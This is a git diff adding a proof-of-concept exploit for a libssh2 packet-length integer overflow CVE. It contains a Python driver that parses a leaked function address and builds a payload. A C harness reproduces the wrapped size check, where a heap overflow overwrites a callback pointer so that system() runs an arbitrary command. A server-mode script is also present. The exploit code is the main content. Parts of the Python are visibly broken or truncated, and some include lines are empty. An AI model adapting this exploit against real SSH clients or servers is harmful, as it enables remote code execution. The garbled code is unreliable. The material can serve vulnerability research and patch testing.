args = parser.parse_args() + + if args.self_test: + self_test(args) + return + if args.loopback_test: + loopback_test(args) + return + if args.serve: + if not args.listen_host or not args.listen_port: + raise SystemExit("set --listen-host and --listen-port; the HOST/PORT section is intentionally open") + MiniSSHExploitServer(args).serve_once() + return + parser.print_help() + + +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt: + raise + except Exception: + traceback.print_exc() + sys.exit(1) diff --git a/libssh2-cve-2026-55200-poc/poc/libpwn_local_rce_exploit.py b/libssh2-cve-2026-55200-poc/poc/libpwn_local_rce_exploit.py new file mode 100644 index 0000000..bb3e18a --- /dev/null +++ b/libssh2-cve-2026-55200-poc/poc/libpwn_local_rce_exploit.py @@ -0,0 +1,131 @@ +#!/usr/bin/env python3 +import argparse +import os +import re +import struct +import subprocess +import sys +from pathlib import Path + + +PACKET_LENGTH = 0xFFFFFFFF + + +def repo_root(): + return Path(__file__).resolve().parent.parent + + +def default_harness_path(): + suffix = ".exe" if os.name == "nt" else "" + return Path(__file__).resolve().parent / f"libpwn_local_rce_harness{suffix}" + + +def default_proof_path(): + return Path(__file__).resolve().parent / "libpwn_rce_proof.txt" + + +def default_command(proof_path): + marker = "libpwn-rce-verified" + if os.name == "nt": + return f"cmd /c echo {marker}>{proof_path}" + return f"/bin/sh -c 'echo {marker} > {proof_path}'" + + +def parse_leak(line): + pattern = ( + r"exec_callback=(0x[0-9a-fA-F]+|[0-9a-fA-F]+)\s+" + r"callback_offset=(\d+)\s+" + r"command_offset=(\d+)\s+" + r"ptr_size=(\d+)" + ) + match = re.search(pattern, line) + if not match: + raise ValueError(f"could not parse leak line: {line!r}") + return { + "exec_callback": int(match.group(1), 16), + "callback_offset": int(match.group(2)), + "command_offset": int(match.group(3)), + "ptr_size": int(match.group(4)), + } + + +def pack_ptr(value, ptr_size): + if ptr_size == 8: + return struct.pack("II", PACKET_LENGTH, len(payload)) + payload + + +def run_exploit(args): + harness = Path(args.harness).resolve() + proof = Path(args.proof).resolve() + if proof.exists(): + proof.unlink() + + proc = subprocess.Popen( + [str(harness)], + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + cwd=str(repo_root()), + text=False, + ) + + try: + leak_line = proc.stdout.readline().decode(errors="replace").strip() + leak = parse_leak(leak_line) + command = args.command or default_command(proof) + payload = build_payload(leak, command) + wire = build_wire(payload) + proc.stdin.write(wire) + proc.stdin.close() + output = proc.stdout.read().decode(errors="replace") + rc = proc.wait(timeout=args.timeout) + finally: + if proc.poll() is None: + proc.kill() + + print(leak_line) + print(output, end="") + print(f"process_rc={rc}") + print(f"payload_len={len(payload)}") + print(f"proof_path={proof}") + + if rc != 0: + raise SystemExit("FAIL: harness exited non-zero") + if not proof.exists(): + raise SystemExit("FAIL: proof file was not created") + proof_text = proof.read_text(errors="replace").strip() + if "libpwn-rce-verified" not in proof_text: + raise SystemExit(f"FAIL: unexpected proof file content: {proof_text!r}") + print("RCE_PROOF=PASS") + + +def main(): + parser = argparse.ArgumentParser(description="Local RCE proof driver for the libpwn CVE harness.") + parser.add_argument("--harness", default=str(default_harness_path())) + parser.add_argument("--proof", default=str(default_proof_path())) + parser.add_argument("--command", default="") + parser.add_argument("--timeout", type=float, default=10.0) + args = parser.parse_args() + run_exploit(args) + + +if __name__ == "__main__": + main() diff --git a/libssh2-cve-2026-55200-poc/poc/libpwn_local_rce_harness.c b/libssh2-cve-2026-55200-poc/poc/libpwn_local_rce_harness.c new file mode 100644 index 0000000..9351763 --- /dev/null +++ b/libssh2-cve-2026-55200-poc/poc/libpwn_local_rce_harness.c @@ -0,0 +1,118 @@ +#include +#include +#include +#include +#include + +#define LIBSSH2_PACKET_MAXPAYLOAD 35000u + +struct target_object { + unsigned char payload[19]; + void (*callback)(const char *); + char command[320]; +}; + +static void safe_callback(const char *command) +{ + printf("safe_callback command=%s\n", command); +} + +static void exec_callback(const char *command) +{ + int rc; + + printf("exec_callback command=%s\n", command); + fflush(stdout); + rc = system(command); + printf("system_rc=%d\n", rc); +} + +static int read_exact(unsigned char *buf, size_t len) +{ + size_t got = fread(buf, 1, len, stdin); + return got == len ? 0 : -1; +} + +static uint32_t load_be32(const unsigned char *buf) +{ + return ((uint32_t)buf[0] << 24) | + ((uint32_t)buf[1] << 16) | + ((uint32_t)buf[2] << 8) | + (uint32_t)buf[3]; +} + +int main(void) +{ + unsigned char hdr[8]; + unsigned char *body = NULL; + struct target_object *obj = NULL; + uint32_t packet_length; + uint32_t body_len; + unsigned int auth_len = 16; + int mac_len = 0; + size_t total_num = 4; + size_t copy_len; + + obj = (struct target_object *)calloc(1, sizeof(*obj)); + if(!obj) { + return 1; + } + + obj->callback = safe_callback; + strcpy(obj->command, "not executed"); + + printf("LEAK exec_callback=%p callback_offset=%zu command_offset=%zu ptr_size=%zu\n", + (void *)exec_callback, + offsetof(struct target_object, callback), + offsetof(struct target_object, command), + sizeof(void *)); + fflush(stdout); + + if(read_exact(hdr, sizeof(hdr))) { + free(obj); + return 2; + } + + packet_length = load_be32(hdr); + body_len = load_be32(hdr + 4); + + if(packet_length < 1u) { + free(obj); + return 3; + } + + total_num += packet_length + (mac_len ? mac_len : 0) + auth_len; + + if(total_num > LIBSSH2_PACKET_MAXPAYLOAD || total_num == 0u) { + free(obj); + return 4; + } + + body = (unsigned char *)malloc(body_len ? body_len : 1); + if(!body) { + free(obj); + return 5; + } + + if(read_exact(body, body_len)) { + free(body); + free(obj); + return 6; + } + + copy_len = packet_length - 1u; + if(copy_len > body_len) { + copy_len = body_len; + } + + printf("accepted packet_length=0x%08x allocation=%zu copy_len=%zu body_len=%u\n", + packet_length, total_num, copy_len, body_len); + fflush(stdout); + + memcpy(obj->payload, body, copy_len); + obj->callback(obj->command); + + free(body); + free(obj); + return 0; +}